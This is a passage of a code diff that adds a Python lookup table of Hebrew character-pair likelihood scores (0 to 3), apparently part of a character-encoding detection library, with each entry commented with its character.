2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 1, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 20: { # 'ג' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 2, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 1, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 0, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 1, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 16: { # 'ד' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 1, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 3: { # 'ה' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 1, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 3, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 0, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 2: { # 'ו' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 1, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 3, # 'ֹ' + 62: 0, # 'ֻ' + 28: 3, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 3, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 24: { # 'ז' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 1, # 'ֲ' + 33: 1, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 2, # 'ב' + 20: 2, # 'ג' + 16: 2, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 2, # 'ח' + 22: 1, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 2, # 'נ' + 19: 1, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 1, # 'ש' + 5: 2, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 14: { # 'ח' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 1, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 2, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 1, # 'ע' + 26: 2, # 'ף' + 18: 2, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 22: { # 'ט' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 1, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 1, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 2, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 1, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 2, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 3, # 'ר' + 10: 2, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 1: { # 'י' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 1, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 3, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 25: { # 'ך' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 2, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 1, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 15: { # 'כ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 3, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 2, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 2, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 2, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 1, # 'ץ' + 21: 2, # 'צ' + 17: 2, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 4: { # 'ל' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 3, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 3, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 11: { # 'ם' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 1, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 1, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 1, # 'ץ' + 21: 1, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 6: { # 'מ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 0, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 23: { # 'ן' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 1, # 'ב' + 20: 1, # 'ג' + 16: 1, # 'ד' + 3: 1, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 1, # 'ט' + 1: 1, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 1, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 1, # 'ס' + 13: 1, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' + 5: 1, # 'ת' + 32: 1, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 2, # '…' + }, + 12: { # 'נ' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 1, # 'ֹ' + 62: 1, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 3, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 3, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 3, # 'ע' + 26: 2, # 'ף' + 18: 3, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 0, # '”' + 58: 0, # '†' + 40: 0, # '…' + }, + 19: { # 'ס' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 1, # '\xa0' + 55: 1, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 2, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 2, # 'ִ' + 37: 1, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 1, # 'ָ' + 35: 1, # 'ֹ' + 62: 2, # 'ֻ' + 28: 2, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 1, # 'ז' + 14: 3, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 3, # 'כ' + 4: 3, # 'ל' + 11: 2, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 2, # 'ס' + 13: 3, # 'ע' + 26: 3, # 'ף' + 18: 3, # 'פ' + 27: 0, # 'ץ' + 21: 2, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 1, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 13: { # 'ע' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 1, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 1, # 'ְ' + 59: 1, # 'ֱ' + 41: 2, # 'ֲ' + 33: 2, # 'ִ' + 37: 2, # 'ֵ' + 36: 2, # 'ֶ' + 31: 2, # 'ַ' + 29: 2, # 'ָ' + 35: 2, # 'ֹ' + 62: 1, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 2, # 'א' + 8: 3, # 'ב' + 20: 3, # 'ג' + 16: 3, # 'ד' + 3: 3, # 'ה' + 2: 3, # 'ו' + 24: 3, # 'ז' + 14: 1, # 'ח' + 22: 3, # 'ט' + 1: 3, # 'י' + 25: 2, # 'ך' + 15: 2, # 'כ' + 4: 3, # 'ל' + 11: 3, # 'ם' + 6: 3, # 'מ' + 23: 2, # 'ן' + 12: 3, # 'נ' + 19: 3, # 'ס' + 13: 2, # 'ע' + 26: 1, # 'ף' + 18: 2, # 'פ' + 27: 2, # 'ץ' + 21: 3, # 'צ' + 17: 3, # 'ק' + 7: 3, # 'ר' + 10: 3, # 'ש' + 5: 3, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 26: { # 'ף' + 50: 0, # 'a' + 60: 0, # 'c' + 61: 0, # 'd' + 42: 0, # 'e' + 53: 0, # 'i' + 56: 0, # 'l' + 54: 0, # 'n' + 49: 0, # 'o' + 51: 0, # 'r' + 43: 0, # 's' + 44: 0, # 't' + 63: 0, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 1, # 'ו' + 24: 0, # 'ז' + 14: 1, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 1, # 'כ' + 4: 1, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 1, # 'ס' + 13: 0, # 'ע' + 26: 1, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 1, # 'ק' + 7: 1, # 'ר' + 10: 1, # 'ש' 